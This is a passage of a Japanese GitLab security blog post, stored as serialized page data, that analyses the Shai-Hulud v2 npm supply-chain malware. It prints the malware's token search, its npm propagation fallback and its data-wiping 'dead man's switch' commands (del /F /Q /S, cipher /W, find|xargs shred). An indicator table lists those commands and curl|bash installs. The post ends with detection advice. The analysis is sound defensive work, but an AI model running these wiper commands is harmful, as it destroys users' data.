GitHubアクセスを見つけるか作成しようとします\n",[101,1298,1299,1301,1303,1306,1309,1312,1315,1317,1320,1322,1325],{"class":103,"line":189},[101,1300,556],{"class":118},[101,1302,559],{"class":114},[101,1304,1305],{"class":118},"!",[101,1307,1308],{"class":114},"githubApi.",[101,1310,1311],{"class":145},"isAuthenticated",[101,1313,1314],{"class":114},"() ",[101,1316,1097],{"class":118},[101,1318,1319],{"class":118}," !",[101,1321,1308],{"class":114},[101,1323,1324],{"class":145},"repoExists",[101,1326,572],{"class":114},[101,1328,1329,1331,1334,1336,1338,1341,1343,1346],{"class":103,"line":201},[101,1330,577],{"class":118},[101,1332,1333],{"class":114}," fetchedToken ",[101,1335,167],{"class":118},[101,1337,373],{"class":118},[101,1339,1340],{"class":114}," githubApi.",[101,1342,668],{"class":145},[101,1344,1345],{"class":114},"(); ",[101,1347,1348],{"class":107},"// 侵害されたリポジトリでトークンを検索します\n",[101,1350,1351],{"class":103,"line":208},[101,1352,205],{"emptyLinePlaceholder":204},[101,1354,1355,1357,1359,1361,1364],{"class":103,"line":223},[101,1356,851],{"class":118},[101,1358,559],{"class":114},[101,1360,1305],{"class":118},[101,1362,1363],{"class":114},"fetchedToken) {  ",[101,1365,1366],{"class":107},"// GitHubアクセスが不可能です\n",[101,1368,1369,1372],{"class":103,"line":228},[101,1370,1371],{"class":118},"      if",[101,1373,1374],{"class":114}," (npmToken) {\n",[101,1376,1377],{"class":103,"line":234},[101,1378,1379],{"class":107},"        // npmの伝播のみにフォールバックします\n",[101,1381,1382,1385,1388],{"class":103,"line":249},[101,1383,1384],{"class":118},"        await",[101,1386,1387],{"class":145}," El",[101,1389,1390],{"class":114},"(npmToken);\n",[101,1392,1393,1396,1399],{"class":103,"line":598},[101,1394,1395],{"class":114},"      } ",[101,1397,1398],{"class":118},"else",[101,1400,1401],{"class":114}," {\n",[101,1403,1404],{"class":103,"line":604},[101,1405,1406],{"class":107},"        // 破壊トリガー:GitHubとnpmの両方へのアクセスがありません\n",[101,1408,1409,1412,1415,1417,1420],{"class":103,"line":610},[101,1410,1411],{"class":114},"        console.",[101,1413,1414],{"class":145},"log",[101,1416,409],{"class":114},[101,1418,1419],{"class":176},"\"Error 12\"",[101,1421,1131],{"class":114},[101,1423,1424,1427,1430,1432,1435],{"class":103,"line":625},[101,1425,1426],{"class":118},"        if",[101,1428,1429],{"class":114}," (platform ",[101,1431,173],{"class":118},[101,1433,1434],{"class":176}," \"windows\"",[101,1436,463],{"class":114},[101,1438,1439],{"class":103,"line":631},[101,1440,1441],{"class":107},"          // すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします\n",[101,1443,1444,1447,1450,1453,1456,1458,1461],{"class":103,"line":636},[101,1445,1446],{"class":114},"          Bun.",[101,1448,1449],{"class":145},"spawnSync",[101,1451,1452],{"class":114},"([",[101,1454,1455],{"class":176},"\"cmd.exe\"",[101,1457,507],{"class":114},[101,1459,1460],{"class":176},"\"/c\"",[101,1462,415],{"class":114},[101,1464,1465,1468,1471,1474,1476,1479],{"class":103,"line":645},[101,1466,1467],{"class":176},"            \"del /F /Q /S ",[101,1469,1470],{"class":420},"\\\"",[101,1472,1473],{"class":176},"%USERPROFILE%*",[101,1475,1470],{"class":420},[101,1477,1478],{"class":176}," && \"",[101,1480,1481],{"class":118}," +\n",[101,1483,1484,1487,1489,1491,1493,1496,1498,1501,1503,1506],{"class":103,"line":884},[101,1485,1486],{"class":176},"            \"for /d %%i in (",[101,1488,1470],{"class":420},[101,1490,1473],{"class":176},[101,1492,1470],{"class":420},[101,1494,1495],{"class":176},") do rd /S /Q ",[101,1497,1470],{"class":420},[101,1499,1500],{"class":176},"%%i",[101,1502,1470],{"class":420},[101,1504,1505],{"class":176}," & \"",[101,1507,1481],{"class":118},[101,1509,1510,1513],{"class":103,"line":889},[101,1511,1512],{"class":176},"            \"cipher /W:%USERPROFILE%\"",[101,1514,1515],{"class":107},"  // 削除されたデータを上書きします\n",[101,1517,1518],{"class":103,"line":903},[101,1519,1520],{"class":114},"          ]);\n",[101,1522,1524,1527,1529],{"class":103,"line":1523},24,[101,1525,1526],{"class":114},"        } ",[101,1528,1398],{"class":118},[101,1530,1401],{"class":114},[101,1532,1534],{"class":103,"line":1533},25,[101,1535,1536],{"class":107},"          // ホームディレクトリ内のすべての書き込み可能なファイルを完全削除しようとします\n",[101,1538,1540,1542,1544,1546,1549,1551,1554],{"class":103,"line":1539},26,[101,1541,1446],{"class":114},[101,1543,1449],{"class":145},[101,1545,1452],{"class":114},[101,1547,1548],{"class":176},"\"bash\"",[101,1550,507],{"class":114},[101,1552,1553],{"class":176},"\"-c\"",[101,1555,415],{"class":114},[101,1557,1559,1562,1564,1567,1569,1572,1574,1577,1579,1582],{"class":103,"line":1558},27,[101,1560,1561],{"class":176},"            \"find ",[101,1563,1470],{"class":420},[101,1565,1566],{"class":176},"$HOME",[101,1568,1470],{"class":420},[101,1570,1571],{"class":176}," -type f -writable -user ",[101,1573,1470],{"class":420},[101,1575,1576],{"class":176},"$(id -un)",[101,1578,1470],{"class":420},[101,1580,1581],{"class":176}," -print0 | \"",[101,1583,1481],{"class":118},[101,1585,1587,1590,1593],{"class":103,"line":1586},28,[101,1588,1589],{"class":176},"            \"xargs -0 -r shred -uvz -n 1 && \"",[101,1591,1592],{"class":118}," +",[101,1594,1595],{"class":107},"  // 上書きして削除します\n",[101,1597,1599,1601,1603,1605,1607,1610],{"class":103,"line":1598},29,[101,1600,1561],{"class":176},[101,1602,1470],{"class":420},[101,1604,1566],{"class":176},[101,1606,1470],{"class":420},[101,1608,1609],{"class":176}," -depth -type d -empty -delete\"",[101,1611,1612],{"class":107},"  // 空のディレクトリを削除します\n",[101,1614,1616],{"class":103,"line":1615},30,[101,1617,1520],{"class":114},[101,1619,1621],{"class":103,"line":1620},31,[101,1622,1623],{"class":114},"        }\n",[101,1625,1627,1630,1633,1635,1638],{"class":103,"line":1626},32,[101,1628,1629],{"class":114},"        process.",[101,1631,1632],{"class":145},"exit",[101,1634,409],{"class":114},[101,1636,1637],{"class":420},"0",[101,1639,1131],{"class":114},[101,1641,1643],{"class":103,"line":1642},33,[101,1644,1645],{"class":114},"      }\n",[101,1647,1649],{"class":103,"line":1648},34,[101,1650,881],{"class":114},[101,1652,1654],{"class":103,"line":1653},35,[101,1655,628],{"class":114},[101,1657,1659],{"class":103,"line":1658},36,[101,1660,252],{"class":114},[13,1662,1663],{},"これにより危険なシナリオが生まれます。GitHubがマルウェアのリポジトリを一括削除するか、npmが侵害されたトークンを一括失効させると、数千の感染したシステムが同時にユーザーデータを破壊する可能性があります。攻撃の分散型の性質により、感染した各マシンが独立してアクセスを監視し、削除が検出されるとユーザーのデータの削除をトリガーします。",[37,1665,1666],{"id":1666},"侵害の痕跡",[13,1668,1669],{},"検出と対応を支援するため、当社の分析中に特定された主要な侵害の痕跡(IoC)の包括的なリストを以下に示します。",[1671,1672,1673,1689],"table",{},[1674,1675,1676],"thead",{},[1677,1678,1679,1683,1686],"tr",{},[1680,1681,1682],"th",{},"タイプ",[1680,1684,1685],{},"痕跡",[1680,1687,1688],{},"説明",[1690,1691,1692,1707,1722,1736,1750,1764,1779,1793,1807,1822],"tbody",{},[1677,1693,1694,1700,1704],{},[1695,1696,1697],"td",{},[27,1698,1699],{},"ファイル",[1695,1701,1702],{},[83,1703,260],{},[1695,1705,1706],{},"node_modulesディレクトリ内の悪意のあるpost-installスクリプト",[1677,1708,1709,1714,1719],{},[1695,1710,1711],{},[27,1712,1713],{},"ディレクトリ",[1695,1715,1716],{},[83,1717,1718],{},".truffler-cache/",[1695,1720,1721],{},"Trufflehogバイナリストレージ用にユーザーホームに作成された隠しディレクトリ",[1677,1723,1724,1728,1733],{},[1695,1725,1726],{},[27,1727,1713],{},[1695,1729,1730],{},[83,1731,1732],{},".truffler-cache/extract/",[1695,1734,1735],{},"バイナリ抽出に使用される一時ディレクトリ",[1677,1737,1738,1742,1747],{},[1695,1739,1740],{},[27,1741,1699],{},[1695,1743,1744],{},[83,1745,1746],{},".truffler-cache/trufflehog",[1695,1748,1749],{},"ダウンロードされたTrufflehogバイナリ(Linux/Mac)",[1677,1751,1752,1756,1761],{},[1695,1753,1754],{},[27,1755,1699],{},[1695,1757,1758],{},[83,1759,1760],{},".truffler-cache/trufflehog.exe",[1695,1762,1763],{},"ダウンロードされたTrufflehogバイナリ(Windows)",[1677,1765,1766,1771,1776],{},[1695,1767,1768],{},[27,1769,1770],{},"プロセス",[1695,1772,1773],{},[83,1774,1775],{},"del /F /Q /S \"%USERPROFILE%*\"",[1695,1777,1778],{},"Windowsの破壊的ペイロードコマンド",[1677,1780,1781,1785,1790],{},[1695,1782,1783],{},[27,1784,1770],{},[1695,1786,1787],{},[83,1788,1789],{},"shred -uvz -n 1",[1695,1791,1792],{},"Linux/Macの破壊的ペイロードコマンド",[1677,1794,1795,1799,1804],{},[1695,1796,1797],{},[27,1798,1770],{},[1695,1800,1801],{},[83,1802,1803],{},"cipher /W:%USERPROFILE%",[1695,1805,1806],{},"ペイロード内のWindows安全削除コマンド",[1677,1808,1809,1814,1819],{},[1695,1810,1811],{},[27,1812,1813],{},"コマンド",[1695,1815,1816],{},[83,1817,1818],{},"curl -fsSL https://bun.sh/install | bash",[1695,1820,1821],{},"npmパッケージインストール中の不審なBunインストール",[1677,1823,1824,1828,1833],{},[1695,1825,1826],{},[27,1827,1813],{},[1695,1829,1830],{},[83,1831,1832],{},"powershell -c \"irm bun.sh/install.ps1|iex\"",[1695,1834,1835],{},"PowerShell経由のWindowsBunインストール",[37,1837,1839],{"id":1838},"gitlabでこのマルウェアキャンペーンを検出する方法","GitLabでこのマルウェアキャンペーンを検出する方法",[13,1841,1842],{},"GitLab Ultimateをご利用の場合、組み込みのセキュリティ機能を活用して、プロジェクト内でこの攻撃に関連する脆弱性を即座に表示できます。",[13,1844,1845,1846,1865,1866,1871],{},"まず、",[27,1847,1848,1853,1856,1857,1860,1861,1864],{},[17,1849,1852],{"href":1850,"rel":1851},"https://docs.gitlab.com/ja-jp/user/application_security/dependency_scanning/dependency_scanning_sbom/",[],"依存関係スキャン",[27,1854,1855],{},"を有効にして、既知の脆弱性データベースに対してプロジェクトの依存関係を自動的に分析します。"," ",[83,1858,1859],{},"package-lock.json","または",[83,1862,1863],{},"yarn.lock","ファイルに感染したパッケージが存在する場合、依存関係スキャンはパイプライン結果と脆弱性レポートでそれらにフラグを立てます。"," 完全なセットアップ手順については、",[17,1867,1870],{"href":1868,"rel":1869},"https://docs.gitlab.com/ja-jp/user/application_security/dependency_scanning/dependency_scanning_sbom/#enabling-the-analyzer",[],"依存関係スキャンのドキュメント","を参照してください。",[13,1873,1874],{},"有効にすると、侵害されたパッケージを導入するマージリクエストは、コードがメインブランチに到達する前に警告を表示します。",[13,1876,1877,1878,1885,1886,1891],{},"次に、",[27,1879,1880],{},[17,1881,1884],{"href":1882,"rel":1883},"https://docs.gitlab.com/ja-jp/user/gitlab_duo_chat/agentic_chat/",[],"GitLab Duo Chat"," を依存関係スキャンと組み合わせて使用すると、レポートを確認することなく、プロジェクトの脆弱性を迅速に確認できます。ドロップダウンから",[17,1887,1890],{"href":1888,"rel":1889},"https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/",[],"セキュリティアナリストエージェント","を選択し、次のような質問をするだけです。",[44,1893,1894,1897,1900,1902],{},[47,1895,1896],{},"「Shai-Hulud v2マルウェアキャンペーンの影響を受ける依存関係はありますか?」",[47,1898,1899],{},"「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」",[47,1901,1899],{},[47,1903,1904],{},"「JavaScript依存関係の重大な脆弱性を表示してください。」",[13,1906,1907],{},"エージェントはプロジェクトの脆弱性データをクエリし、直接的な回答を提供するため、セキュリティチームが複数のプロジェクトを迅速にトリアージするのに役立ちます。",[13,1909,1910],{},[71,1911],{"alt":1912,"src":1913},"GitLabセキュリティアナリストエージェントの検出結果","https://res.cloudinary.com/about-gitlab-com/image/upload/v1764196041/ciwroqeub2ayhjcbajec.png",[13,1915,1916],{},"多数のリポジトリを管理するチームには、これらのアプローチを組み合わせることをお勧めします。CI/CDでの継続的な自動検出には依存関係スキャンを使用し、このような進行中のインシデント時のアドホック調査と迅速な対応にはセキュリティアナリストエージェントを使用してください。",[37,1918,1919],{"id":1919},"今後の展望",[13,1921,1922],{},"このキャンペーンは、巻き添え被害の脅威が攻撃者のインフラストラクチャの主要な防御メカニズムとなるサプライチェーン攻撃の進化を表しています。全容を把握し、安全な修復戦略を開発するため、コミュニティと協力して調査を継続しています。",[13,1924,1925],{},"GitLabの自動検出システムは、この攻撃の新しい感染とバリエーションを監視し続けています。調査結果を早期に共有することで、マルウェアのデッドマンスイッチ設計によって生じる落とし穴を回避しながら、コミュニティが効果的に対応できるよう支援できることを願っています。",[1927,1928,1929],"style",{},"html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .sgsFI, html code.shiki .sgsFI{--shiki-default:#24292E}html pre.shiki code .sD7c4, html code.shiki .sD7c4{--shiki-default:#D73A49}html pre.shiki code .s7eDp, html code.shiki .s7eDp{--shiki-default:#6F42C1}html pre.shiki code .sYBdl, html code.shiki .sYBdl{--shiki-default:#032F62}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sYu0t, html code.shiki .sYu0t{--shiki-default:#005CC5}html pre.shiki code .sqxcx, html code.shiki .sqxcx{--shiki-default:#E36209}",{"title":97,"searchDepth":111,"depth":111,"links":1931},[1932,1933,1939,1940,1941,1942],{"id":39,"depth":111,"text":39},{"id":66,"depth":111,"text":67,"children":1934},[1935,1936,1937,1938],{"id":78,"depth":136,"text":78},{"id":264,"depth":136,"text":264},{"id":437,"depth":136,"text":437},{"id":908,"depth":136,"text":908},{"id":29,"depth":111,"text":29},{"id":1666,"depth":111,"text":1666},{"id":1838,"depth":111,"text":1839},{"id":1919,"depth":111,"text":1919},"security-labs","2025-11-24","攻撃を引き起こすマルウェアには、ユーザーデータを破壊する「デッドマンスイッチ」が含まれています。","md",null,"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg",{},"/ja-jp/blog/gitlab-discovers-widespread-npm-supply-chain-attack",{"config":1952,"title":5,"description":1945,"ogImage":1954},{"noIndex":1953},false,"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1749665667/Blog/Hero%20Images/built-in-security.jpg","gitlab-discovers-widespread-npm-supply-chain-attack","ja-jp/blog/gitlab-discovers-widespread-npm-supply-chain-attack",[1958,1959],"security","security research","BlogPost","2025-12-01","aaIQMZkk2xV8s2rkoqbkFkp-xsNZyo12iCC9DASmTV4",{"logo":1964,"freeTrial":1969,"sales":1974,"login":1979,"items":1984,"search":2313,"minimal":2346,"duo":2363,"switchNav":2372,"pricingDeployment":2383},{"config":1965},{"href":1966,"dataGaName":1967,"dataGaLocation":1968},"/ja-jp/","gitlab logo","header",{"text":1970,"config":1971},"無料トライアルを開始",{"href":1972,"dataGaName":1973,"dataGaLocation":1968},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp&glm_content=default-saas-trial/","free trial",{"text":1975,"config":1976},"デモをリクエスト",{"href":1977,"dataGaName":1978,"dataGaLocation":1968},"/ja-jp/sales/?contact-topic=request-demo","sales",{"text":1980,"config":1981},"サインイン",{"href":1982,"dataGaName":1983,"dataGaLocation":1968},"https://gitlab.com/users/sign_in/","sign in",[1985,2014,2116,2121,2235,2291],{"text":1986,"config":1987,"menu":1989},"プラットフォーム",{"dataNavLevelOne":1988},"platform",{"type":1990,"columns":1991},"cards",[1992,1998,2006],{"title":1986,"description":1993,"link":1994},"DevSecOpsに特化したインテリジェントオーケストレーションプラットフォーム",{"text":1995,"config":1996},"プラットフォームの詳細はこちら",{"href":1997,"dataGaName":1988,"dataGaLocation":1968},"/ja-jp/platform/",{"title":1999,"description":2000,"link":2001},"GitLab Duo Agent Platform","ソフトウェアライフサイクル全体を支えるエージェント型AI",{"text":2002,"config":2003},"GitLab Duoのご紹介",{"href":2004,"dataGaName":2005,"dataGaLocation":1968},"/ja-jp/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":2007,"description":2008,"link":2009},"GitLabが選ばれる理由","エンタープライズがGitLabを選ぶ主な理由をご覧ください",{"text":2010,"config":2011},"詳細はこちら",{"href":2012,"dataGaName":2013,"dataGaLocation":1968},"/ja-jp/why-gitlab/","why gitlab",{"text":2015,"left":204,"config":2016,"menu":2018},"製品",{"dataNavLevelOne":2017},"solutions",{"type":2019,"link":2020,"columns":2024,"feature":2095},"lists",{"text":2021,"config":2022},"すべてのソリューションを表示",{"href":2023,"dataGaName":2017,"dataGaLocation":1968},"/ja-jp/solutions/",[2025,2050,2073],{"title":2026,"description":2027,"link":2028,"items":2033},"自動化","CI/CDと自動化でデプロイを加速",{"config":2029},{"icon":2030,"href":2031,"dataGaName":2032,"dataGaLocation":1968},"AutomatedCodeAlt","/ja-jp/solutions/delivery-automation/","automated software delivery",[2034,2038,2041,2046],{"text":2035,"config":2036},"CI/CD",{"href":2037,"dataGaLocation":1968,"dataGaName":2035},"/ja-jp/solutions/continuous-integration/",{"text":1999,"config":2039},{"href":2004,"dataGaLocation":1968,"dataGaName":2040},"gitlab duo agent platform - product menu",{"text":2042,"config":2043},"ソースコード管理",{"href":2044,"dataGaLocation":1968,"dataGaName":2045},"/ja-jp/solutions/source-code-management/","Source Code Management",{"text":2047,"config":2048},"自動化されたソフトウェアデリバリー",{"href":2031,"dataGaLocation":1968,"dataGaName":2049},"Automated software delivery",{"title":2051,"description":2052,"link":2053,"items":2058},"セキュリティ","セキュリティを犠牲にすることなくコード作成を高速化",{"config":2054},{"href":2055,"dataGaName":2056,"dataGaLocation":1968,"icon":2057},"/ja-jp/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[2059,2063,2068],{"text":2060,"config":2061},"アプリケーションセキュリティテスト",{"href":2055,"dataGaName":2062,"dataGaLocation":1968},"Application security testing",{"text":2064,"config":2065},"ソフトウェアサプライチェーンセキュリティ",{"href":2066,"dataGaLocation":1968,"dataGaName":2067},"/ja-jp/solutions/supply-chain/","Software supply chain security",{"text":2069,"config":2070},"ソフトウェアコンプライアンス",{"href":2071,"dataGaName":2072,"dataGaLocation":1968},"/ja-jp/solutions/software-compliance/","software compliance",{"title":2074,"link":2075,"items":2080},"測定",{"config":2076},{"icon":2077,"href":2078,"dataGaName":2079,"dataGaLocation":1968},"DigitalTransformation","/ja-jp/solutions/visibility-measurement/","visibility and measurement",[2081,2085,2090],{"text":2082,"config":2083},"可視性と測定",{"href":2078,"dataGaLocation":1968,"dataGaName":2084},"Visibility and Measurement",{"text":2086,"config":2087},"バリューストリーム管理",{"href":2088,"dataGaLocation":1968,"dataGaName":2089},"/ja-jp/solutions/value-stream-management/","Value Stream Management",{"text":2091,"config":2092},"分析とインサイト",{"href":2093,"dataGaLocation":1968,"dataGaName":2094},"/ja-jp/solutions/analytics-and-insights/","Analytics and insights",{"title":2096,"type":2019,"items":2097},"GitLabが活躍する場所",[2098,2104,2110],{"text":2099,"config":2100},"大企業",{"icon":2101,"href":2102,"dataGaLocation":1968,"dataGaName":2103},"Building","/ja-jp/enterprise/","enterprise",{"text":2105,"config":2106},"スモールビジネス",{"icon":2107,"href":2108,"dataGaLocation":1968,"dataGaName":2109},"Work","/ja-jp/small-business/","small business",{"text":2111,"config":2112},"公共部門",{"icon":2113,"href":2114,"dataGaLocation":1968,"dataGaName":2115},"Organization","/ja-jp/solutions/public-sector/","public sector",{"text":2117,"config":2118},"価格",{"href":2119,"dataGaName":2120,"dataGaLocation":1968,"dataNavLevelOne":2120},"/ja-jp/pricing/","pricing",{"text":2122,"config":2123,"menu":2125},"関連リソース",{"dataNavLevelOne":2124},"resources",{"type":2019,"link":2126,"columns":2130,"feature":2224},{"text":2127,"config":2128},"すべてのリソースを表示",{"href":2129,"dataGaName":2124,"dataGaLocation":1968},"/ja-jp/resources/",[2131,2164,2191],{"title":2132,"items":2133},"はじめに",[2134,2139,2144,2149,2154,2159],{"text":2135,"config":2136},"インストール",{"href":2137,"dataGaName":2138,"dataGaLocation":1968},"/ja-jp/install/","install",{"text":2140,"config":2141},"クイックスタートガイド",{"href":2142,"dataGaName":2143,"dataGaLocation":1968},"/ja-jp/get-started/","quick setup checklists",{"text":2145,"config":2146},"学ぶ",{"href":2147,"dataGaLocation":1968,"dataGaName":2148},"https://university.gitlab.com/","learn",{"text":2150,"config":2151},"製品ドキュメント",{"href":2152,"dataGaName":2153,"dataGaLocation":1968},"https://docs.gitlab.com/ja-jp/","product documentation",{"text":2155,"config":2156},"ベストプラクティスビデオ",{"href":2157,"dataGaName":2158,"dataGaLocation":1968},"/ja-jp/getting-started-videos/","best practice videos",{"text":2160,"config":2161},"インテグレーション",{"href":2162,"dataGaName":2163,"dataGaLocation":1968},"/ja-jp/integrations/","integrations",{"title":2165,"items":2166},"検索する",[2167,2172,2177,2182,2186],{"text":2168,"config":2169},"お客様成功事例",{"href":2170,"dataGaName":2171,"dataGaLocation":1968},"/ja-jp/customers/","customer success stories",{"text":2173,"config":2174},"ブログ",{"href":2175,"dataGaName":2176,"dataGaLocation":1968},"/ja-jp/blog/","blog",{"text":2178,"config":2179},"Demo Hub",{"href":2180,"dataGaName":2181,"dataGaLocation":1968},"/ja-jp/demo-hub/","demo hub",{"text":2183,"config":2184},"The Source",{"href":2185,"dataGaName":2176,"dataGaLocation":1968},"/ja-jp/the-source/",{"text":2187,"config":2188},"リモート",{"href":2189,"dataGaName":2190,"dataGaLocation":1968},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":2192,"items":2193},"つなげる",[2194,2199,2204,2209,2214,2219],{"text":2195,"config":2196},"GitLabサービス",{"href":2197,"dataGaName":2198,"dataGaLocation":1968},"/ja-jp/services/","services",{"text":2200,"config":2201},"コントリビュート",{"href":2202,"dataGaName":2203,"dataGaLocation":1968},"https://contributors.gitlab.com","contribute",{"text":2205,"config":2206},"コミュニティ",{"href":2207,"dataGaName":2208,"dataGaLocation":1968},"/community/","community",{"text":2210,"config":2211},"フォーラム",{"href":2212,"dataGaName":2213,"dataGaLocation":1968},"https://forum.gitlab.com/","forum",{"text":2215,"config":2216},"イベント",{"href":2217,"dataGaName":2218,"dataGaLocation":1968},"/events/","events",{"text":2220,"config":2221},"パートナー",{"href":2222,"dataGaName":2223,"dataGaLocation":1968},"/ja-jp/partners/","partners",{"config":2225,"title":2228,"text":2229,"link":2230},{"background":2226,"textColor":2227},"url('https://res.cloudinary.com/about-gitlab-com/image/upload/v1777322348/qpq8yrgn8knii57omj0c.png')","#000","GitLabの最新情報","最新の機能と改善点に関する情報をお届けします。",{"text":2231,"config":2232},"最新情報を読む",{"href":2233,"dataGaName":2234,"dataGaLocation":1968},"/ja-jp/whats-new/","whats new",{"text":2236,"config":2237,"menu":2239},"企業情報",{"dataNavLevelOne":2238},"company",{"type":2019,"columns":2240},[2241],{"items":2242},[2243,2248,2254,2256,2261,2266,2271,2276,2281,2286],{"text":2244,"config":2245},"GitLabについて",{"href":2246,"dataGaName":2247,"dataGaLocation":1968},"/ja-jp/company/","about",{"text":2249,"config":2250,"footerGa":2253},"採用情報",{"href":2251,"dataGaName":2252,"dataGaLocation":1968},"/jobs/","jobs",{"dataGaName":2252},{"text":2215,"config":2255},{"href":2217,"dataGaName":2218,"dataGaLocation":1968},{"text":2257,"config":2258},"経営陣",{"href":2259,"dataGaName":2260,"dataGaLocation":1968},"/company/team/e-group/","leadership",{"text":2262,"config":2263},"ハンドブック",{"href":2264,"dataGaName":2265,"dataGaLocation":1968},"https://handbook.gitlab.com/","handbook",{"text":2267,"config":2268},"投資家向け情報",{"href":2269,"dataGaName":2270,"dataGaLocation":1968},"https://ir.gitlab.com/overview/default.aspx","investor relations",{"text":2272,"config":2273},"トラストセンター",{"href":2274,"dataGaName":2275,"dataGaLocation":1968},"/ja-jp/security/","trust center",{"text":2277,"config":2278},"AI Transparency Center",{"href":2279,"dataGaName":2280,"dataGaLocation":1968},"/ja-jp/ai-transparency-center/","ai transparency center",{"text":2282,"config":2283},"ニュースレター",{"href":2284,"dataGaName":2285,"dataGaLocation":1968},"/company/contact/#contact-forms","newsletter",{"text":2287,"config":2288},"プレス",{"href":2289,"dataGaName":2290,"dataGaLocation":1968},"/press/","press",{"text":2292,"config":2293,"menu":2294},"お問い合わせ",{"dataNavLevelOne":2238},{"type":2019,"columns":2295},[2296],{"items":2297},[2298,2303,2308],{"text":2299,"config":2300},"お問い合わせはこちら",{"href":2301,"dataGaName":2302,"dataGaLocation":1968},"/ja-jp/sales/","talk to sales",{"text":2304,"config":2305},"サポートを受ける",{"href":2306,"dataGaName":2307,"dataGaLocation":1968},"https://support.gitlab.com/hc/en-us","support portal",{"text":2309,"config":2310},"カスタマーポータル",{"href":2311,"dataGaName":2312,"dataGaLocation":1968},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":2314,"login":2315,"suggestions":2322},"閉じる",{"text":2316,"link":2317},"リポジトリとプロジェクトを検索するには、次にログインします",{"text":2318,"config":2319},"GitLab.com",{"href":1982,"dataGaName":2320,"dataGaLocation":2321},"search login","search",{"text":2323,"default":2324},"提案",[2325,2327,2332,2334,2338,2342],{"text":1999,"config":2326},{"href":2004,"dataGaName":1999,"dataGaLocation":2321},{"text":2328,"config":2329},"コード提案（AI）",{"href":2330,"dataGaName":2331,"dataGaLocation":2321},"/ja-jp/solutions/code-suggestions/","Code Suggestions (AI)",{"text":2035,"config":2333},{"href":2037,"dataGaName":2035,"dataGaLocation":2321},{"text":2335,"config":2336},"GitLab on AWS",{"href":2337,"dataGaName":2335,"dataGaLocation":2321},"/ja-jp/partners/technology-partners/aws/",{"text":2339,"config":2340},"GitLab on Google Cloud",{"href":2341,"dataGaName":2339,"dataGaLocation":2321},"/ja-jp/partners/technology-partners/google-cloud-platform/",{"text":2343,"config":2344},"GitLabを選ぶ理由",{"href":2012,"dataGaName":2345,"dataGaLocation":2321},"Why GitLab?",{"freeTrial":2347,"mobileIcon":2351,"desktopIcon":2356,"secondaryButton":2359},{"text":1970,"config":2348},{"href":2349,"dataGaName":1973,"dataGaLocation":2350},"https://gitlab.com/-/trials/new/","nav",{"altText":2352,"config":2353},"GitLabアイコン",{"src":2354,"dataGaName":2355,"dataGaLocation":2350},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":2352,"config":2357},{"src":2358,"dataGaName":2355,"dataGaLocation":2350},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":2132,"config":2360},{"href":2361,"dataGaName":2362,"dataGaLocation":2350},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp/get-started/","get started",{"freeTrial":2364,"mobileIcon":2368,"desktopIcon":2370},{"text":2365,"config":2366},"GitLab Duoの詳細について",{"href":2004,"dataGaName":2367,"dataGaLocation":2350},"gitlab duo",{"altText":2352,"config":2369},{"src":2354,"dataGaName":2355,"dataGaLocation":2350},{"altText":2352,"config":2371},{"src":2358,"dataGaName":2355,"dataGaLocation":2350},{"button":2373,"mobileIcon":2378,"desktopIcon":2380},{"text":2374,"config":2375},"/switch",{"href":2376,"dataGaName":2377,"dataGaLocation":2350},"#contact","switch",{"altText":2352,"config":2379},{"src":2354,"dataGaName":2355,"dataGaLocation":2350},{"altText":2352,"config":2381},{"src":2382,"dataGaName":2355,"dataGaLocation":2350},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":2384,"mobileIcon":2389,"desktopIcon":2391},{"text":2385,"config":2386},"料金ページに戻る",{"href":2119,"dataGaName":2387,"dataGaLocation":2350,"icon":2388},"back to pricing","GoBack",{"altText":2352,"config":2390},{"src":2354,"dataGaName":2355,"dataGaLocation":2350},{"altText":2352,"config":2392},{"src":2358,"dataGaName":2355,"dataGaLocation":2350},{"title":2394,"button":2395,"config":2399},"GitLab Orbitが登場: AIエージェントのためのコンテキストレイヤー",{"text":2010,"config":2396},{"href":2397,"dataGaName":2398,"dataGaLocation":1968},"/ja-jp/gitlab-orbit/","orbit",{"layout":2400,"disabled":1953},"release",{"data":2402},{"text":2403,"source":2404,"edit":2410,"contribute":2415,"config":2420,"items":2425,"minimal":2634},"GitはSoftware Freedom Conservancyの商標です。当社は「GitLab」をライセンスに基づいて使用しています",{"text":2405,"config":2406},"ページのソースを表示",{"href":2407,"dataGaName":2408,"dataGaLocation":2409},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":2411,"config":2412},"このページを編集",{"href":2413,"dataGaName":2414,"dataGaLocation":2409},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":2416,"config":2417},"ご協力をお願いします",{"href":2418,"dataGaName":2419,"dataGaLocation":2409},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please 